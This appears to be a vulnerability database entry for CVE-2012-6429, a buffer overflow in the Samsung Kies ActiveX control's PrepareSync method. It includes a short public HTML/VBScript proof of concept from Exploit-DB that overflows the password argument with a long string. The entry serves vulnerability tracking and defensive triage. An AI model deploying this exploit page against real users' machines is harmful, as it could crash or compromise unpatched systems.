CVE-2012-6429

critical

Published 2014-04-04 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Buffer overflow in the PrepareSync method in the SyncService.dll ActiveX control in Samsung Kies before 2.5.1.12123_2_7 allows remote attackers to execute arbitrary code via a long string to the password argument.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-38206 remote windows verified text · 1 KB

High-Tech Bridge · 2013-01-09

Samsung Kies - Remote Buffer Overflow

text exploit Source: Exploit-DB

source: https://www.securityfocus.com/bid/57249/info

Samsung Kies is prone to a remote buffer-overflow vulnerability because it fails to properly validate user-supplied input before copying it into a fixed-length buffer.

Attackers can exploit this issue to execute arbitrary code in the context of the application. Failed attacks may cause a denial-of-service condition. 

<html>
<!-- (c)oded by High-Tech Bridge Security Research Lab -->
<head>
<title>Remote Buffer Overflow Vulnerability in Samsung Kies v. 
2.5.0.12114_1 </title>
</head>
<script language='vbscript'>
Sub PoC()
arg1="defaultV"
arg2=String(14356, "A")
arg3=1
arg4=1
Target.PrepareSync arg1 ,arg2 ,arg3 ,arg4
End Sub
</script>
<body>
<h3>Remote Buffer Overflow Vulnerability in Samsung Kies by High-Tech 
Bridge Security Research Lab</h3>
<input language=VBScript onclick=PoC() type=button value="Proof of 
Concept">
</body>
<object 
classid='clsid:EA8A3985-F9DF-4652-A255-E4E7772AFCA8'id='Target'></object>
</html>

Application impact

Vendor	Product	Versions	Fixed
samsung	kies	`{"endIncluding":"2.5.0.12114_1"}`

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.